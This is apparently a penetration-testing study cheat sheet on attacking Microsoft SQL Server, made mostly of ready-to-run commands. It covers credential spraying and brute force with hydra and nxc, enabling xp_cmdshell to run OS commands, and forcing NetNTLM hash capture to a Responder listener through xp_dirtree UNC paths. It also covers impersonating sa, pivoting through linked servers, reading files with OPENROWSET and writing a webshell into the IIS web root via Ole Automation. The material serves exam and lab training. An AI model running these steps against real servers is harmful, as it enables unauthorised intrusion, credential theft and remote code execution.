~/service-mssql

MSSQL

CPTS Notes8 min read

TL;DR

MSSQL (Microsoft SQL Server). TCP 1433, UDP 1434 for the SQL Browser (instance discovery). A Windows database, so it authenticates with a Windows or domain account, or with a SQL login such as sa. The query language is T-SQL.

First checks: an sa or Windows login, then command execution through xp_cmdshell or a hash capture through a UNC path.

Commands

T-SQL, inside a client session. In sqlcmd and sqsh, end each batch with GO on its own line.

Command Does
SELECT name FROM sys.databases; List databases.
SELECT table_name FROM <db>.INFORMATION_SCHEMA.TABLES; List a database’s tables.
SELECT system_user; Show the current login.
SELECT IS_SRVROLEMEMBER('sysadmin'); 1 if the current login is sysadmin.
EXEC xp_cmdshell 'whoami'; Run an OS command (needs it enabled, and sysadmin).
SELECT * FROM OPENROWSET(BULK N'C:/Windows/win.ini', SINGLE_CLOB) AS x; Read a local file (needs the bulk permission).
EXEC xp_dirtree '\\<you>\x'; Make the service authenticate to you, for a hash capture.
EXECUTE AS LOGIN = 'sa'; Impersonate another login.
REVERT; Return to your own login.

Impacket’s client adds shortcuts:

SQL> enable_xp_cmdshell # enable xp_cmdshell
SQL> xp_cmdshell <cmd> # run an OS command
SQL> enum_impersonate # list logins you can impersonate
SQL> exec_as_login <user> # impersonate another login
SQL> enum_links # list linked servers
SQL> use_link <server> # send the next queries to a linked server

Enumeration

Workflow: sweep with nmap, find a working login with nxc, then work in impacket-mssqlclient.

  • nxc mssql: one command per run. Test and spray credentials, run one query or OS command, run modules. (Pwn3d!) marks a sysadmin login.
  • impacket-mssqlclient: the interactive shell, for steps that build on each other (impersonate, then query). Handles Windows auth, pass-the-hash (-hashes), and TLS.
  • sqsh: a fallback interactive client when Impacket fails.
  • sqlcmd: the client on a Windows foothold.

Sweep.

# version, instance info, and an empty sa password
sudo nmap -p1433 -sV --script ms-sql-info,ms-sql-ntlm-info,ms-sql-empty-password -oA scans/mssql $TARGET

ms-sql-ntlm-info leaks the hostname and domain. ms-sql-empty-password tests sa with no password. An instance can listen on a port other than 1433. A full port scan with -sV finds it.

Connect.

impacket-mssqlclient <user>@$TARGET -windows-auth # Windows or domain account
impacket-mssqlclient sa:'<pass>'@$TARGET # SQL login
nxc mssql $TARGET -u sa -p '<pass>' --local-auth # SQL login, not a domain one
sqsh -S $TARGET -U .\\<user> -P '<pass>' -h # local Windows account

A username with no domain or host prefix logs in as a SQL login. For a local Windows account, put .\\ or <host>\\ before the name (the shell turns \\ into one backslash). -h drops the headers and footers from sqsh output.

From a Windows foothold, use sqlcmd:

REM SQL login
sqlcmd -S <host> -U <user> -P <pass> -y 30 -Y 30
REM current Windows user
sqlcmd -S <host> -E

-y 30 -Y 30 limits each column to 30 characters, for readable output. -E logs in as the current Windows user.

Query and run commands.

nxc mssql $TARGET -u sa -p '<pass>' --local-auth -q 'SELECT name FROM sys.databases' # run a query
nxc mssql $TARGET -u sa -p '<pass>' --local-auth -x 'whoami' # run an OS command through xp_cmdshell

NetExec modules. -M runs a module, and -o passes its options. Add your login flags to each:

nxc mssql $TARGET -u <user> -p '<pass>' -M mssql_priv # find impersonation paths to sysadmin
nxc mssql $TARGET -u <user> -p '<pass>' -M mssql_priv -o ACTION=privesc # make your login sysadmin through them
nxc mssql $TARGET -u <user> -p '<pass>' -M mssql_priv -o ACTION=rollback # remove the sysadmin role again
nxc mssql $TARGET -u <user> -p '<pass>' -M enum_impersonate # list logins you can impersonate
nxc mssql $TARGET -u <user> -p '<pass>' -M enum_links # list linked servers and their logins
nxc mssql $TARGET -u <user> -p '<pass>' -M link_enable_cmdshell -o LINKED_SERVER=<srv> # enable xp_cmdshell on a linked server
nxc mssql $TARGET -u <user> -p '<pass>' -M link_xpcmd -o LINKED_SERVER=<srv> CMD=whoami # run an OS command on a linked server
nxc mssql $TARGET -u <user> -p '<pass>' -M exec_on_link -o LINKED_SERVER=<srv> COMMAND='<sql>' # run a query on a linked server
nxc mssql $TARGET -u <user> -p '<pass>' -M mssql_coerce -o LISTENER=<you> # make the service authenticate to you
nxc mssql $TARGET -u <user> -p '<pass>' -M mssql_dumper # search every database for sensitive columns

Common misconfigurations

  • Weak or default sa credentials.
  • xp_cmdshell enabled, or a sysadmin login that can enable it.
  • Reused Windows or domain credentials.
  • No encryption, or a self-signed certificate.
  • Excessive privileges (IMPERSONATE, or a linked server configured with sysadmin).

Attack playbook

MSSQL’s win is command execution and the service account’s hash.

  1. Log in. Try default credentials first, then a weak sa password, or Windows and domain credentials. creds (from pip install defaultcreds-cheat-sheet) prints known defaults, and SecLists has a user:pass list for hydra -C:
    creds search mssql # known default logins
    hydra -C /usr/share/seclists/Passwords/Default-Credentials/mssql-betterdefaultpasslist.txt mssql://$TARGET # test user:pass pairs
    Spray or brute when you have lists (see Spraying and Defaults):
    nxc mssql $TARGET -u users.txt -p '<Password>' --continue-on-success # spray domain accounts
    nxc mssql $TARGET -u sa -p passwords.txt --local-auth # brute the sa login
  2. Run commands with xp_cmdshell. As sysadmin, enable it with sp_configure, then run OS commands as the service account.
    nxc mssql $TARGET -u sa -p '<pass>' --local-auth -x 'whoami' # run an OS command through xp_cmdshell
    SQL> enable_xp_cmdshell # enable it in the Impacket client
    In other clients, enable it in T-SQL:
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE; -- unlock the advanced options
    EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; -- enable xp_cmdshell
    EXEC xp_cmdshell 'whoami'; -- run an OS command
    Other routes to OS commands: a custom extended stored procedure (a DLL added with sp_addextendedproc), CLR assemblies, SQL Server Agent jobs, external scripts in Python or R (sp_execute_external_script), and registry writes with xp_regwrite.
  3. Capture the service hash. xp_dirtree (or xp_subdirs, xp_fileexist) forces the service account to authenticate to your Responder or impacket-smbserver. Crack the NetNTLM hash or relay it (SMB). This works without sysadmin. Start Responder on your VPN interface first:
    sudo responder -I tun0 # listen on tun0, print captured hashes
    hashcat -m 5600 hash.txt rockyou.txt # crack the NetNTLMv2 hash
    Responder also saves each hash under /usr/share/responder/logs/. Then trigger the connection:
    EXEC xp_dirtree '\\<you>\share'; -- make the service account authenticate to you
    EXEC xp_subdirs '\\<you>\share'; -- same, if xp_dirtree is blocked
  4. Impersonate a sysadmin. Sysadmins can impersonate any login. Other logins need the IMPERSONATE permission. List the logins you can impersonate, take one on, and check the role:
    SELECT DISTINCT b.name FROM sys.server_permissions a
    INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
    WHERE a.permission_name = 'IMPERSONATE'; -- logins you can impersonate
    USE master; -- every login can use master
    EXECUTE AS LOGIN = 'sa'; -- impersonate sa
    SELECT IS_SRVROLEMEMBER('sysadmin'); -- 1 means sysadmin
    REVERT; -- return to your own login
    Run it in master: the impersonation fails in a database the target login cannot use. A login that is not sysadmin can still reach other databases or linked servers.
  5. Hop to a linked server. A linked server lets this instance run queries on another instance with stored credentials. If those credentials are sysadmin there, you run commands there.
    SELECT srvname, isremote FROM sysservers; -- isremote 0 is a linked server
    EXECUTE('SELECT @@servername, system_user, IS_SRVROLEMEMBER(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]; -- query the linked server
    Inside EXECUTE('...'), double each single quote. Separate statements with ;.
  6. Read and write files. OPENROWSET reads any file the service account can read, with the bulk permission (sysadmin and bulkadmin hold it). Writing needs Ole Automation, which a sysadmin enables. Write a webshell to the IIS web root:
    SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS x; -- read a local file
    EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
    EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE; -- enable Ole Automation
    DECLARE @o INT, @f INT;
    EXEC sp_OACreate 'Scripting.FileSystemObject', @o OUT;
    EXEC sp_OAMethod @o, 'OpenTextFile', @f OUT, 'C:\inetpub\wwwroot\s.aspx', 8, 1; -- open to append, create if missing
    EXEC sp_OAMethod @f, 'WriteLine', NULL, '<webshell code>'; -- write the webshell
    EXEC sp_OADestroy @f; EXEC sp_OADestroy @o;
  7. Search the databases and reuse credentials. Application tables hold credentials and hashes. Skip the system defaults (master, model, msdb, tempdb, resource). Database and service passwords often work on other hosts.

Practice boxes

Box Difficulty MSSQL’s role
Archetype Starting Point Credentials from an open SMB share log into MSSQL, then xp_cmdshell gives a shell.
Querier Medium xp_dirtree captures the service account’s NetNTLM hash to crack, then xp_cmdshell gives a shell.

On a Windows network MSSQL is a common foothold. The wins are xp_cmdshell for code execution and a UNC path to steal the service account’s hash.